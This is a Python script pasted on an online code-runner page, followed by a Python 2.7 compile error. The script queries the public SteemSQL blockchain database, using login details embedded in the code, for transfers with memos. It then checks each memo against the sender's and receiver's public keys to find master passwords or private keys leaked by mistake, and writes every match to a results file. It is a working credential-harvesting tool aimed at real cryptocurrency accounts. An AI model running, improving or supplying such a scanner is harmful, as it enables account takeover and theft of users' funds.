fork download
  1. import csv
  2. import pymssql
  3. import json
  4. from steembase.account import PrivateKey, PasswordKey
  5. from multiprocessing import Process, Queue, Manager
  6.  
  7.  
  8. WORKERS = 8
  9.  
  10. q = '''
  11. SELECT
  12. TxTransfers.*,
  13. sender.owner sender_owner,
  14. sender.active sender_active,
  15. sender.posting sender_posting,
  16. sender.memo_key sender_memo_key,
  17. receiver.owner receiver_,
  18. receiver.active receiver_active,
  19. receiver.posting receiver_posting,
  20. receiver.memo_key receiver_memo_key
  21. FROM TxTransfers
  22. INNER JOIN Accounts as sender
  23. ON TxTransfers."from" = sender.name
  24. INNER JOIN Accounts as receiver
  25. ON TxTransfers."to" = receiver.name
  26. WHERE TxTransfers.type = 'transfer'
  27. AND TxTransfers.memo != '';
  28. '''
  29.  
  30.  
  31. def get_keys(field):
  32. return [key_auth[0] for key_auth in json.loads(field)['key_auths']]
  33.  
  34.  
  35. def get_public_keys_from_fields(public_keys_by_account, account_name, owner_field, active_field, posting_field,
  36. memo_key_field):
  37. if account_name not in public_keys_by_account:
  38. public_keys_by_account[account_name] = {
  39. 'owner': get_keys(owner_field),
  40. 'active': get_keys(active_field),
  41. 'posting': get_keys(posting_field),
  42. 'memo': [memo_key_field],
  43. }
  44. return public_keys_by_account[account_name]
  45.  
  46.  
  47. def get_public_key_from_password(shared_dict, account_name, password):
  48. if account_name + password not in shared_dict:
  49. shared_dict[account_name + password] = str(
  50. PasswordKey(account_name, password, 'owner').get_private_key().pubkey)
  51. return shared_dict[account_name + password]
  52.  
  53.  
  54. def get_public_key_from_private(shared_dict, priv_key):
  55. if priv_key not in shared_dict:
  56. shared_dict[priv_key] = str(PrivateKey(priv_key).pubkey)
  57.  
  58. return shared_dict[priv_key]
  59.  
  60.  
  61. def worker(
  62. pid,
  63. transactions_queue,
  64. results_queue,
  65. public_keys_from_passwords,
  66. public_keys_from_private_keys
  67. ):
  68. print('[{}] worker started'.format(pid))
  69.  
  70. while not transactions_queue.empty():
  71. i, account_name, public_keys, memo = transactions_queue.get()
  72. print('[{}][{}] Testing "{}" against "{}"'.format(i, pid, account_name, memo))
  73.  
  74. public_owner_key = get_public_key_from_password(public_keys_from_passwords, account_name, memo)
  75. if public_owner_key in public_keys['owner']:
  76. print("[{}] Gotcha! Found main password for '{}' account: {}".format(pid, account_name, memo))
  77. results_queue.put((account_name, 'password', memo,))
  78. else:
  79. try:
  80. some_public_key = get_public_key_from_private(public_keys_from_private_keys, memo)
  81. for role in ['posting', 'active', 'owner', 'memo']:
  82. for key in public_keys[role]:
  83. if key == some_public_key:
  84. print(
  85. "[{}] Gotcha! Found private {} key for '{}' account: {}".format(
  86. pid, role, account_name, memo
  87. )
  88. )
  89. results_queue.put((account_name, role, memo,))
  90.  
  91. except AssertionError:
  92. print('[{}] AssertionError: {}'.format(pid, memo))
  93. continue
  94.  
  95. except ValueError as e:
  96. if str(e) == 'Error loading Base58 object':
  97. continue
  98. elif str(e) == 'Odd-length string':
  99. continue
  100.  
  101. print('[{}] worker ended'.format(pid))
  102.  
  103.  
  104. def save_results(results_queue):
  105. tmp = set()
  106. with open('results.csv', 'w+') as file:
  107. writer = csv.writer(file, quotechar="\"", delimiter=";", escapechar="\\")
  108. writer.writerow(['account', 'type', 'memo'])
  109.  
  110. while True:
  111. result = results_queue.get()
  112. if result == 'kill':
  113. break
  114.  
  115. if result not in tmp:
  116. writer.writerow(result)
  117. file.flush()
  118. tmp.add(result)
  119.  
  120.  
  121. def main():
  122. manager = Manager()
  123. existing_public_keys_by_account = {}
  124. public_keys_generated_from_potential_passwords = manager.dict()
  125. public_keys_generated_from_potential_private_keys = manager.dict()
  126. transactions = Queue()
  127. results = Queue()
  128.  
  129. conn = pymssql.connect('sql.steemsql.com', 'steemit', 'steemit', 'DBSteem')
  130. cursor = conn.cursor()
  131. cursor.execute(q)
  132.  
  133. with open('transactions.csv', 'w+') as file:
  134. writer = csv.writer(file, quotechar="\"", delimiter=";", escapechar="\\")
  135. writer.writerow((
  136. 'id', 'tx_id', 'type', 'from', 'to', 'amount', 'amount_symbol', 'memo', 'request_id', 'timestamp',
  137. 'sender_owner', 'sender_active', 'sender_posting', 'sender_memo_key',
  138. 'receiver_owner', 'receiver_active', 'receiver_posting', 'receiver_memo_key')
  139. )
  140.  
  141. for row in cursor:
  142. print('.', end='')
  143. writer.writerow([str(item).replace('\r\n', '') for item in row])
  144.  
  145. with open('transactions.csv', 'r') as file:
  146. reader = csv.reader(file, quotechar="\"", delimiter=";", escapechar="\\")
  147.  
  148. next(reader) # skipping the header
  149. for i, (
  150. id_, tx_id, type_, from_, to_, amount, amount_symbol, memo, request_id, timestamp,
  151. sender_owner, sender_active, sender_posting, sender_memo_key,
  152. receiver_owner, receiver_active, receiver_posting, receiver_memo_key
  153. ) in enumerate(reader):
  154.  
  155. sender_keys = get_public_keys_from_fields(
  156. existing_public_keys_by_account, from_, sender_owner, sender_active, sender_posting, sender_memo_key
  157. )
  158. receiver_keys = get_public_keys_from_fields(
  159. existing_public_keys_by_account, to_, receiver_owner, receiver_active, receiver_posting,
  160. receiver_memo_key
  161. )
  162.  
  163. transactions.put((i, from_, sender_keys, memo))
  164. transactions.put((i, to_, receiver_keys, memo))
  165.  
  166. processes = []
  167. for i in range(WORKERS):
  168. p = Process(target=worker, args=(
  169. i,
  170. transactions,
  171. results,
  172. public_keys_generated_from_potential_passwords,
  173. public_keys_generated_from_potential_private_keys
  174. ))
  175. p.start()
  176. processes.append(p)
  177.  
  178. listener = Process(target=save_results, args=(results,))
  179. listener.start()
  180.  
  181. for p in processes:
  182. p.join()
  183.  
  184. results.put('kill')
  185. listener.join()
  186.  
  187. print("end")
  188.  
  189.  
  190. if __name__ == '__main__':
  191. main()# your code goes here
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/lib/python2.7/py_compile.py", line 117, in compile
    raise py_exc
py_compile.PyCompileError:   File "prog.py", line 142
    print('.', end='')
                  ^
SyntaxError: invalid syntax

stdout
Standard output is empty